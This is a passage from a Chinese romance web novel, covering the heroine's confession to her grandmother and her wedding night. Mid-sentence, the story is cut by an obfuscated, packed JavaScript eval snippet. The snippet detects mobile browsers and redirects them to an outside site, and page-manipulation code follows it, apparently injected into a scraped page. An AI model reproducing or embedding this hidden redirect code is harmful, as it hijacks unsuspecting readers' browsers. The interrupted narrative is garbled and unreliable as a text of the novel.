“如今我们与蓝记做成了这桩生意，日后你们若造访罗斛，我拉乌，定奉二位为座上宾。” 他差点想说“买卖不成仁义在”。 仔细想了想中原师傅的教导，好像不是那个意思，终究收回去没提。 蓝锦畅想着未来蓝记罗斛分号的壮大，也与拉乌豪爽碰杯，互相说着祝福话。 伴着满桌佳肴，人人吃得酒酣耳热。 悟雅悄悄过来，一撞蓝锦的肩背，压低了声音： “娘子，开分号便罢了。你居然还背着我们，连喜酒都要定下了！什么时候的事啊？” 94. 第94章 既然在圣人面前放出了话，萧家与梁家的六礼也大张旗鼓地走了起来。 蓝锦身为县主，不入宗室却享封号。 大公主谢令章说动太后，为蓝锦赐了一座宅第，就在天都重臣云集的坊。 萧家的聘仪台，就设在这座崭新的蓝宅里头。 金银玉器，丝绸绢帛，赏玩器物，连同丫鬟仆役，流水一样地送进县主府的大门。 林林总总，差不多筹备了两三个月。 蓝锦的嫁衣是由安琴和汝月一同主持，领着绣娘缝制的。 她本人是一窍不通。每天袖起手什么也帮不上，但还是一有点空，就叫安琴绑过来，试华丽繁复的嫁衣。 流程走到了请期的时候，萧仁禹特地进宫，专门请了太史令，来为婚期算好日子。 珍之又珍，又要不失庄重，又要不能太迟。 折磨得太史令一度见了他就躲。 萧清珩听说了消息，大呼瞒得她好苦。 恨不得一口气去信十封，要二哥等她一等，务必叫她赶上，吃一杯喜酒。 萧仁禹可等不了这些。 他与蓝锦商议了，在礼数妥帖，时间充裕的前提下，用尽浑身解数，非得择定了最早的日子。 饶是心急的他紧赶慢赶，这场婚事，纳采尚在初冬，亲迎的正日子，也还是定在了春日里。 两家联姻，婚宴这天，甚至惊动了圣人，专门赐下了极珍稀的油封鲟鳇鱼，为二人添菜。 此物动辄千余斤，仅能在冬日捕捞。 因为个头肥大，生性凶猛，往往要几百人合力，才能收服一只。 圣人若想吃一口鲟鳇鱼，都不是容易的事。 只能在冬日里切了鱼丁，用金黄的鲟鳇鱼油脂，精心封存，才能享受一口醇香的美味，并不舍得抛费分毫。 如今大方地赐予臣下婚宴所用，在场的宾客无不称羡，感叹萧探花的盛宠不衰。 由是可知，二皇子那头影影绰绰传出来的，因三公主而君臣翻脸的传闻，到底还是捕风捉影了些。 对这些奢侈食物，蓝锦倒是没多大感觉。只是庆幸圣人没有她想象得那么小心眼。 没有把三公主的事当作龃龉，反而像是不声不响地揭过了。 有了宫里的添妆，和大公主私下的礼赠，加上梁若虹几乎搬空了大半梁府。 ——要不是她拦着，整个梁府的好东西，差点全塞到她手里了。 蓝锦此刻不说富可敌国，也是一个身家相当可观的小富婆了。 眼看吉时快到了，梁若虹握着蓝锦的手，满眼都是不舍。 喜娘识趣地领着众人退远了，还抱走了玩喜服穗子的小秋。 “锦娘长大了，人也越发能干，我瞧着，个头也比去年长高了不少。” “若是你母亲知道了，还不知有多高兴。” 说罢便眼眶通红，讲不下去了。 蓝锦再也忍不住，她不愿再这样瞒着真心待她的老夫人了。 “老夫人……我，我要跟您坦白一件事……” 听着这骤然变了的称呼，梁若虹面不改色，只是更用力地按了按蓝锦的手。 “我知道，我都知道。” 蓝锦惊讶得，一时都止住了哭。 “你刚回家的那天，我就梦到了瑾儿。” “她站在一个古里古怪的楼跟前，跟我招手，说她走了，不能陪我到老，叫我别惦记她。” “她说她唯一放不下的就是我，叫我好好保重自身。她特意叫老天给我送来了一个贴心的小娘子，代替她陪着我，要我待人家好。” 梁若虹夜半惊醒，默默垂泪，独自坐到天明。 “瑾儿是笑着走的。她说好的人，我自然也觉得好。” 一开始，梁若虹还不敢信。 长命锁是真真的，世上只有两把。 她私下去萧家问过，那一枚，一直好好地待在原处，没有经过他人之手。 站在自己面前的妙龄女郎也是真真的，模样笑颜分毫不差。 那不就是她的娇娇儿吗？ “慢慢的，我才想通。我的娇娇儿从来不进庖厨，也没有这般会做药膳，会说贴心话儿。” “她最喜欢的就是研经读史。每每来看她的外祖母，都要赖在书房好半天。” “我知道，她归家要叫人嫌弃，说好好的女郎偏要做书呆子，读书读得傻气。没有在我这那么便利。” “我最悔的，就是没有早些做个清清静静的寡妇。把她们母女两个接回来，护在跟前，寸步不离，非得护得眼珠子一般。也不会像如今这般天人永隔。” 梁若虹泣不成声。蓝锦将她搂进怀里，轻拍她的脊背。 她想起了丁婆婆。 梁若虹不像个耄耋老人，倒像是一个受了委屈的孩童。 在蓝锦的亲近中，慢慢平复了下来。 “慢慢的，我也察觉了出来。你待我真心实意，是真的把我当自家长辈看的。” “旁人提起父母双亲，你虽然强撑着，眼底总是有些失落的样子。” 梁若虹拿起帕子，轻柔地抹去了蓝锦应声而落的眼泪。 “老天把这样一个可人怜的女孩子，送到我这个孤老婆子身边。我有什么道理不真心地疼她？我就是把你也看作我的娇娇儿。” 蓝锦哭得肝肠寸断： “可是我不是她。老夫人，我骗了您。您那么好，对我那么照顾。每日都等我吃饭，问我今天累不累。我早该说的，可我舍不得您。我就这么顺水推舟，糊里糊涂地过了下去……” 梁若虹笑了起来，将蓝锦脸上的泪珠，一寸寸拭去。 “锦娘就是锦娘。难道你我相伴的日子，也是假的不成？我们有缘，不用应在血缘上头。” “那些添妆，就更不必推拒了。我愿意看你的日子过得舒心顺意，你可不要叫我失望了。” “我知道锦娘坚强，想做的事，独个都能做成。哪怕从我这拿些本钱，都连本带利地还与我，算得清清楚楚。” “可是，偶尔也靠一靠我这老婆子，又有什么打紧？” 蓝锦因为这句话，又痛哭了一场。 直到催妆的人来了好几次，外间的催妆诗递来了一首又一首，这才脚步虚浮地迈上了轿子。 隔着轿帘，她还能看见梁老夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15684159|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人和煦的笑。 县主府离梁府并不远，礼乐队几乎站满了全程。 天都百姓，无不兴致勃勃地围观，惊叹这场婚仪的大排场。 蓝锦庆幸她要做的事情不多，给了她许多垂泪的机会。 如是到了华灯初上的时分，萧仁禹看到蓝锦肿得像桃子似的双眼，结实地吓了一跳。 怎么，与他成亲是这样一件悲惨的事吗？ 他冷静一瞬，忙问道： “锦娘，可是有什么不舒服？别怕，我这就拿了帖子去宫里请御医。” 蓝锦抬头看了眼来人，扑到萧仁禹的怀里，搂着他的脖子，眼泪顺着衣领，滴滴滑落到他的脖颈间。 萧仁禹僵住了，良久才慢慢拍拍蓝锦的肩，温柔道： “锦娘，一切都有我。” 蓝锦小声抽噎：“梁老夫人……我的运道，也太好了点。” 萧仁禹轻笑道：“一切都是锦娘应得的。” 温香软玉在怀，萧仁禹尽量克制。 也不知过了多久，蓝锦收拾心情，拿着温帕子轻轻拭泪敷脸。 萧仁禹轻手轻脚地替她拆着满头珠翠，并不假手于人，连一根头发丝也没扯到。 丫鬟得了嘱咐，个个埋着头，送来了饭食，又匆匆带上了门。 蓝锦叫他亲手帮着散了头发，换掉外衣，只觉浑身轻松。 萧仁禹温柔道：“累坏了吧？我专门留出来的鲟鳇鱼丁，锦娘尝尝？” 蓝锦依言夹了一块，咸鲜腴美，外酥里嫩。 因它油脂丰满，吃到嘴里醇香十足，几乎很快化成一片。 “还挺不错的。” 其实也没有那么好吃。 只是有人特特地扣下一些珍奇罕物，没端去大宴上，特特地惦记着给她吃。 如此一来，七分的美味，总也有十分了。 “恐怕得来十分不易吧？” 萧仁禹点点头：“年年为着这桩进贡，吏部和户部都要吵上一阵。可是圣人偏爱，其他进贡还愿松口让步，唯此一桩，是断断不愿放弃的。” 蓝锦撇撇嘴：“其实不就是一些油脂和……” 她想说蛋白质，又收了回去。 “和肉嘛。” 萧仁禹也点头：“是这个道理。我私心觉着，没有锦娘做的桂花熏鱼好吃。” 蓝锦扑哧一笑： “这也能放在一起比吗？一个是价值万金的御贡圣品，一个是寻常价廉的平民小食，草鱼就能做。” “口味上也没法比。只不过桂花熏鱼在油炸后泡了甜汁子，颜色黑褐晶亮，吃起来香甜多汁。” “这个鲟鳇鱼么，虽然也油炸了，要是也泡甜汁子，只怕显不出来鲟鳇鱼的本味和珍贵了。直把鲟鳇作草鱼！” 萧仁禹正色道：“我就爱吃锦娘做的甜食。” 蓝锦勾唇一笑，把脸凑到他面前，猝不及防地在他唇上啄了一口。 “喏，这下，油炸咸鱼丁，也要甜起来了。甜不甜？” 鱼丁的甜与咸不知道，倒是萧探花的面颊，以肉眼可见的速度，从嘴角一路蹿红，一直红到了耳朵根，快要滴出血来。